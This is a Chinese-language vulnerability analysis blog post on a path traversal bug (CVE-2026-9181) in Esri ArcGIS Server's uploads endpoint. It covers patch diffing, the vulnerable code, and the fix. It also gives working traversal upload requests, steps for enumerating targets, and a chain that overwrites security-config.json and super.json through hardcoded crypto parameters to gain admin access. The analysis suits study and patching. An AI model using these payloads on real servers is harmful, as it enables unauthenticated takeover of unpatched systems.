Post

CVE-2026-9181:Esri ArcGIS Server 路径遍历漏洞分析

CVE-2026-9181:Esri ArcGIS Server 路径遍历漏洞分析

背景

CVE-2026-9181 是 Esri ArcGIS Server 的一个路径遍历漏洞(CWE-22)。CVSS v3.1 评分 9.8,网络可达、无需认证、无需用户交互。官方公告描述的危害是攻击者可”覆盖敏感文件”并获得”完全的管理访问权限”。

ArcGIS Server 是 Esri 的 GIS(地理信息系统)服务端产品,负责发布地图服务、地理处理服务(GP 服务)等,广泛部署在能源、测绘、城市规划、交通等行业的内网和专网中,里面跑的地理数据、工程项目数据多是单位的敏感资产。

本次分析同时基于官方补丁 ArcGIS-120-S-SEC2026U2-Patch 和原版 12.0。用 jadx 反编译补丁 jar 定位新增的校验逻辑,再与原版 12.0 二进制做 diff,确认校验落在漏洞路径上;最后在 10.2 本地环境上实测复现,验证整条利用链。

分析环境如下:

内容
分析对象 ArcGIS Server 12.0 补丁 / 10.2 本地环境
分析方法 jadx 反编译 + 原版 12.0 二进制 diff + 10.2 实测复现
工具 jadx、javap、Python
补丁标识 ArcGIS-120-S-SEC2026U2-Patch-linux(QI S-120-P-1454

补丁改动范围

从补丁入手,看它改了哪些文件、加了什么校验,再反推出漏洞点。补丁修改了 6 个文件,涉及 5 个 jar 加一个前端 js:

文件 jar 在修复中的角色
arcgis-common.jar lib/server PathUtil.containsRelativePath(核心检测)
arcgis-admin.jar lib/server UploadsManager(漏洞点 + 入口校验)、FileExtensionWhitelist
arcgis-rest-classes.jar lib/server UploadsHandler$2/$3(REST 上传 handler 调用校验)
admin-12.0.0.58905.jar webapps/arcgis#admin admin 上传 servlet(ItemServlet 等)
arcgis-rest-12.0.0.58905.jar webapps/arcgis#rest REST UploadsHandler(转发到 JSP)
system.js arcgis#admin/www/js admin 页面 UI(上传清理配置),非核心

校验工具放在 common 层,调用点遍布 admin、rest、webapp 各层——补丁把校验接入了所有接收文件名的入口。补丁 jar 经 Zelix ZKM(ZKM21.0.0)混淆,但新增的安全工具类(PathUtilFileExtensionWhitelist)和公开方法名保留了可读性,逆向可以由此切入。

摘要

  • 漏洞类型: 路径遍历(CWE-22),位于 UploadsManager;客户端可控的 filename 被原样拼进 FileOutputStream 的写入路径,无任何规范化校验。
  • 利用条件: 向任意开启了 uploads 能力的 service(<serviceUrl>/uploads/upload)发送 multipart 上传请求,filename 字段携带 ../ 遍历序列;upload 操作本身不校验调用者权限。
  • 影响范围: 在服务端文件系统可达范围内任意覆盖文件。覆盖 config-store 中的 JSON 配置(security-config.jsonsuper.jsontoken-config.json)可关闭站点认证并获取超管权限,全程无需执行服务端代码。
  • 前置条件: 网络可达 REST 端口(6443/6080)或经 Web Adaptor 暴露的 /arcgis 路径;至少存在一个当前权限可访问、且开启了 uploads 能力的 service;版本 ≤12.0 且未安装 SEC2026U2 补丁(10.x 已 EOL,不在补丁支持范围内)。
  • 危害等级: CVSS v3.1 9.8;网络可达、无需认证、无需用户交互。

攻击入口

补丁在 UploadsManager 中新增了校验,漏洞点就在这个类。UploadsManager 管理的是 ArcGIS Server 的 Uploads 资源,用于临时存放上传的文件(发布服务时上传的 sd 包、GP 服务的输入数据等)。

Uploads 资源不挂在站点根上,而是挂在某个支持 Uploads 能力的 service 下。这里的关键是:漏洞入口不是某个具体的服务,而是”开了 uploads 能力”这个条件——只要一个 service 的 capabilities 里包含 uploads,它下面的 uploads 资源就走同一段 UploadsManager 代码,都能用来触发遍历。PublishingTools(GP 服务)是最常见的一个,但不是唯一;自发布的 GP 服务、SyncTools 等只要开了 uploads 能力同样可行。

正确基址挂在 service URL 下,形如:

1
/arcgis/rest/services/System/PublishingTools/GPServer/uploads

该资源支持的操作有:

  • <serviceUrl>/uploads/upload —— 上传文件
  • <serviceUrl>/uploads/register —— 注册上传项
  • <serviceUrl>/uploads/deleteItems —— 删除
  • <serviceUrl>/uploads/info —— 查询信息

攻击链的入口是 upload 操作。请求格式为 multipart 表单:

1
2
3
4
5
6
7
8
POST /arcgis/rest/services/System/PublishingTools/GPServer/uploads/upload
Content-Type: multipart/form-data

--boundary
Content-Disposition: form-data; name="file"; filename="../../test.txt"

<任意内容>
--boundary--

关键在 filename 字段。这个名字会传入后端,被拼进服务端的文件写入路径。

找一个可用的入口靠枚举。流程是:先 GET /arcgis/rest/info?f=json 预检,拿到版本号、确认站点已初始化、看是否启用了令牌认证;再 GET /arcgis/rest/services?f=json 列出所有 service 和 folder(注意 SystemUtilitiesHosted 这几个隐藏 folder 默认不在 folders 列表里,要主动探测);然后对每个候选 service 请求 <serviceUrl>/uploads?f=json,按响应区分:

响应特征 含义
正常返回 uploads 信息 该 service 支持 uploads 能力,是可用入口
capability is not supported / subcode: 51 未开启 uploads 能力,跳过
invalid url / 404 无 uploads 资源,跳过
token required / code: 499 资源存在但需认证,是有 token 后可用的候选

010.png

利用前提

入口明确了,再看这条入口在什么条件下可达。漏洞触发本身只要求一个 ../,但要让请求走到 uploadServiceItemFileOutputStream,有几个前提必须同时满足。

前提 说明 默认情况
端点网络可达 攻击者能访问 ArcGIS Server 的 REST 端口(6443/6080)或经 Web Adaptor 暴露的 /arcgis 路径 内网/专网部署,常被视为”可信”而暴露面较大
存在支持 Uploads 的 service Uploads 资源挂在某个开了 Uploads 能力的 service 下,典型是 GP 服务 默认 System/PublishingTools/GPServer 支持,且系统自带
该 service 可访问 upload 操作本身不检查调用者权限,但若 service 在受令牌认证保护的 folder 内,需先拿到 token System folder 默认受令牌认证保护;未启用安全的站点无需任何凭证
版本未打补丁 ≤12.0 且未安装 SEC2026U2 补丁 官方覆盖 11.1/11.3/11.4/11.5/12.0;10.x 已 EOL,不在补丁支持范围内

其中认证这条值得展开。upload 操作本身不校验调用者权限,真正影响可达性的是 service 所在 folder 有没有开启令牌认证。若 uploads 服务落在受保护区域(如默认的 System folder),需先拿到 token 才能访问该 service。但实际部署里门槛往往更低:不少站点为方便集成,把部分 GP service 所在 folder 设成匿名;只要存在任何一个支持匿名访问的上传服务,漏洞就可达。未启用站点安全(securityEnabled: false)的实例更直接,整个 REST 层无需凭证,所有 uploads 服务裸露。

至于找哪个 service 作入口,PublishingTools(藏在 System folder,系统自带,默认支持 uploads)是最稳的默认选择,但它不是唯一选项。实测中只要枚举到一个开了 uploads 能力且当前权限够得着的 service 就能用——自定义发布的 GP 服务、SyncTools 都可能满足。这也意味着打补丁时不能只盯 PublishingTools,任何开了 uploads 能力的入口都要覆盖到。

000.png

写入路径构造

入口可达后,看后端拿到 filename 之后做了什么。jadx 反编译 DiscoveryAdminUtil.uploadItem(REST upload 操作的后端桥接层),itemName 直接取自上传文件的文件名:

1
2
3
4
5
6
7
8
9
10
11
// DiscoveryAdminUtil.uploadItem —— REST upload 操作的后端入口
public static JSONObject uploadItem(folderName, serviceName, serviceType,
                                    UploadedFile uploadedFile) {
    Item item = new Item();
    // itemName 来自上传文件的文件名,不是 POST 参数
    item.setItemName(RUtil.getFilenameFromPath(uploadedFile.getClientFileName()));
    ...
    FileInputStream fis = new FileInputStream(uploadedFile.getUploadedFilePath());
    String itemID = uploadsMgr.uploadServiceItem(item, folderName, serviceName,
                                                  serviceType, fis, ...);
}

拿到 itemName 后,UploadsManager.uploadServiceItem 调用 m2209b 构造写入路径并写入文件。原版 12.0 的反编译代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 漏洞代码(原版 12.0,经 jadx 反编译)
private String m2209b(Item item, String folder, String service, String type) {
    File file = new File(
        uploads目录 + "/services/" +
        ServiceNameBuilder.buildClassicFQServiceName(folder, service, type) + "/" +
        item.getItemID());                          // itemID = "i"+UUID,安全
    file.mkdirs();
    return file.getAbsolutePath() + "/" + item.getItemName();
    //                          ↑ itemName(来自文件名)被拼入写入路径
}

public String uploadServiceItem(Item item, ..., InputStream inStream, ...) {
    // 原版:无任何路径校验
    String itemID = "i" + UUID.randomUUID();
    item.setItemID(itemID);
    String path = m2209b(item, ...);                 // 路径含 itemName
    FileOutputStream fos = new FileOutputStream(path); // 写入,路径含遍历
    FileUtil.copy(inStream, fos);
    item.setPathOnServer(path);
    item.setCommitted(true);
    putPkg(item);
}

当文件名含路径遍历序列时,规范化后的路径会逃出上传目录:

1
2
3
4
filename = ../../../../etc/foo
path = <uploads>/services/<svc>/i<uuid>/../../../../etc/foo
     → 规范化 = /etc/foo       ← 逃出上传目录
FileOutputStream("/etc/foo")   → 任意位置写文件

itemID 由系统生成(i + UUID),攻击者不可控,这部分是安全的。问题出在 itemName——它来自客户端可控的 filename,却被原样拼进写入路径,没有任何规范化校验。

003.png

漏洞验证

静态分析只能说路径拼接有问题,要确认越界写入实际成立,最直接的办法是实测。在自有授权的 ArcGIS Server 10.2 本地环境上完成复现——10.2 已 EOL,官方不再提供补丁,但 jadx 反编译确认其 UploadsManager 漏洞代码与 12.0 一致,可稳定触发。

漏洞触发

向 PublishingTools 服务发送带遍历文件名的 upload 请求:

1
2
3
4
5
6
7
8
POST /arcgis/rest/services/System/PublishingTools/GPServer/uploads/upload
Content-Type: multipart/form-data

--boundary
Content-Disposition: form-data; name="file"; filename="../../arcgis_traversal_test.txt"

<任意内容>
--boundary--

实测响应:

1
{"success":true,"item":{"itemID":"i...","itemName":"../../arcgis_traversal_test.txt","committed":true}}

success: true 说明服务端接受了带 ../ 的文件名。

实际验证时,上传内容用一个无害的随机标记(如 ARCGIS_CVE2026_9181_TEST_<随机>),目的是在文件系统上事后识别,不覆盖真实文件。再配合正常文件名作基线,确认 upload 功能本身可用。判定一个目标是否受影响,看带 ../ 的文件名会得到哪类响应:

upload 响应 判定
返回 itemID / success:true 漏洞存在——遍历文件名未被拦截
RELATIVE_FOLDER_PATH_ERR 已打补丁——containsRelativePath 拦截了 ../
error writing / error ... write(500) 仍是漏洞——请求穿过了能力检查到达写入逻辑,只是目标路径不可写
token required / code:499 需先拿 token,不能直接判定
capability is not supported / subcode:51 该 service 没开 uploads 能力,换一个

第三种容易被误判成”安全”——服务端返回 500,看着像出错,其实是遍历已经发生、FileOutputStream 尝试写越界路径失败,恰好说明漏洞存在。

004.png

文件越界落地

服务端接受了遍历文件名,但文件到底落到了哪里,得到文件系统上取证。结果如下:

1
2
预期路径: <uploads根>/services/System/PublishingTools.GPServer/<itemID>/../../arcgis_traversal_test.txt
实际落地: <uploads根>/services/System/arcgis_traversal_test.txt   ← 越出 itemID 目录,到达上级

<uploads根> = arcgisserver/directories/arcgissystem/arcgisuploads/。写入路径是 <uploads根>/services/<服务全名>/<itemID>/<itemName>,从 <itemID> 这一级往上数,要回退 services → arcgisuploads → arcgissystem → directories → arcgisserver 才能到达站点根 arcgisserver/——这就是为什么遍历深度取 7 级 ../。越界写入成立。

005.jpg

覆盖配置关闭认证

写入路径可控后,价值最高的目标是 config-storearcgisserver/config-store/directories/ 同级,可经遍历写入。security-config.json 控制整个站点的认证开关,实测覆盖它:

1
2
3
filename = ../../../../../../../config-store/security/security-config.json
内容     = {"securityEnabled": false, ...其它字段保持}
→ 响应 success:true → 热加载 → REST 层令牌认证立即关闭

这里有个细节:覆盖时不能只写 {"securityEnabled": false},要把 authenticationModeauthenticationTieruserStoreConfigroleStoreConfig 等字段按原结构补齐,只把 securityEnabled 改成 false。否则配置文件结构不完整,服务热加载时可能报错而不是直接生效。覆盖前先把原文件结构摸清,再据此构造 payload。

覆盖前,System folder 受令牌认证保护,请求返回 499 Token Required;覆盖后,同一个请求直接返回数据,PublishingTools、CachingTools、SyncTools 等全部系统服务无需认证即可访问。

001.png

扩展名白名单与进一步危害

覆盖配置能关认证,但能不能更进一步,直接写个 Webshell 拿 shell?不行。upload 有原有的文件扩展名白名单(shouldAllowUpload,subcode 52),挡住了 .jsp/.exe 等可执行类型。但白名单允许 .json/.xml/.csv/.zip/.txt,恰好覆盖 config-store 里所有配置文件的格式。

写入路径可控后,config-store 下可达的高价值目标汇总:

目标文件 危害 状态
security-config.json securityEnabled:false → 关闭认证 实测成功
super/super.json 超管凭证,密码加密但密钥全部硬编码 → 改密码登录 实测成功
token-config.json sharedKey → 伪造任意 token 可达
services/<svc>/*.json 篡改服务配置、capabilities 可达

其中 super.json 的超管密码经过加密,但加密口令、salt、迭代次数全部硬编码在代码里,跨 10.2 / 12.0 版本字节级一致,与站点密钥文件无关。实测可解出原密码、加密新密码覆盖 super.json,再用 generateToken 接口登录拿到 admin token,全程无需读取实例任何密钥文件。这条链不需要执行服务端代码,覆盖配置就够了。

补丁修复

漏洞的触发和危害都验证完了,最后看补丁怎么修。补丁在 UploadsManager 的 5 个方法入口新增 d(itemName) 校验,调用 PathUtil.containsRelativePath。与原版 12.0 对比,原版这 5 处完全没有相对路径检查(containsRelativePath 引用计数为 0),只有扩展名白名单 assertValidExtension

方法 作用 原版有无校验
registerItem 注册上传项 仅扩展名
registerServiceItem REST register 后端 仅扩展名
uploadItem(Item, url, ...) 从 URL 上传 仅扩展名
uploadItem(Item, InputStream) 流上传 仅扩展名
uploadServiceItem 服务项上传(REST upload 后端) 仅扩展名

修复后的 uploadServiceItem

1
2
3
4
5
6
public String uploadServiceItem(Item item, ..., InputStream inStream, ...) {
    m2215d(item.getItemName());                        // 新增:containsRelativePath 校验
    this.a.assertValidExtension(item.getItemName());   // 原有:扩展名白名单
    String itemID = "i" + UUID.randomUUID();
    ...
}

路径遍历检测

新增的 UploadsManager.d(String itemName) 调用 PathUtil.containsRelativePath

1
2
3
4
5
6
private void d(String itemName) throws AdminException {
    if (PathUtil.containsRelativePath(itemName)) {
        logger.log(Level.WARNING, AgsadminLogCode.RELATIVE_FOLDER_PATH_ERR);
        throw new AdminException(RELATIVE_FOLDER_PATH_ERR.message());
    }
}

PathUtil.containsRelativePath 的检测逻辑覆盖 Windows 和 Unix 两种分隔符:

1
2
3
4
5
6
7
8
containsRelativePath(String s):
    for sep in ["\\", "/"]:                     # 两种分隔符都拆
        segments = s.split(sep)
        for seg in segments:
            seg = seg.trim()
            if seg.equals("..") or seg.equals("."):   # 任一段是 .. 或 .
                return true                            # → 判定含相对路径,拒绝
    return false

只要 itemName 中出现 ... 作为独立路径段(无论用 \ 还是 / 分隔),一律拒绝。这封堵了 ../..\./ 等常见 payload。

011.png containsRelativePath 方法在原版 jar 中已经存在(并非补丁新增)。补丁的改动是在 UploadsManager 里新增 d(String) 方法调用它,并在 5 个入口接入,把已有的检测能力接到了漏洞入口。

扩展名白名单

补丁还新增了 FileExtensionWhitelist,作为路径校验之外的第二层限制:

1
2
3
4
5
6
7
8
public void assertValidExtension(String itemName) throws AdminException {
    int dot = itemName.lastIndexOf('.');
    String ext = itemName.substring(dot + 1).toLowerCase();
    HashSet<String> allowed = getExtListFromSystem(sysPropKey, defaults);
    if (!allowed.contains(ext)) {
        throw new AdminException(ITEMS_BLOCKED_BY_ADMIN.message());
    }
}

路径校验挡遍历,扩展名白名单限制可操作的文件类型,两层叠加缩小可被覆盖的文件范围。

总结

CVE-2026-9181 是一个路径拼接漏洞:服务端把客户端可控的 filename 原样拼进 FileOutputStream 的写入路径,没有任何规范化校验,一个 ../ 就能把上传内容写到上传目录之外的位置。

利用的难点不在触发,而在选对目标。FileOutputStream 覆盖的是文件,不是执行代码,加上扩展名白名单挡住了 .jsp/.exe,无法直接落 Webshell。但 config-store 里全是 .json 配置,且 .json 恰好在白名单内——覆盖 security-config.json 关掉认证、覆盖 super.json 改超管密码,两条路都能拿到站点管理权,且都不需要执行服务端代码。加密参数全部硬编码,让这条链完全自包含。

补丁把校验接入了所有 5 个文件名入口。残留风险来自这个设计:校验在入口前置,拼接逻辑本身没改,未来新增的上传入口如果遗漏调用 containsRelativePath,同类问题会重现。

10.x 已 EOL,官方不再提供补丁,长期暴露的 10.x 实例仍可被稳定利用。

This post is licensed under CC BY 4.0 by the author.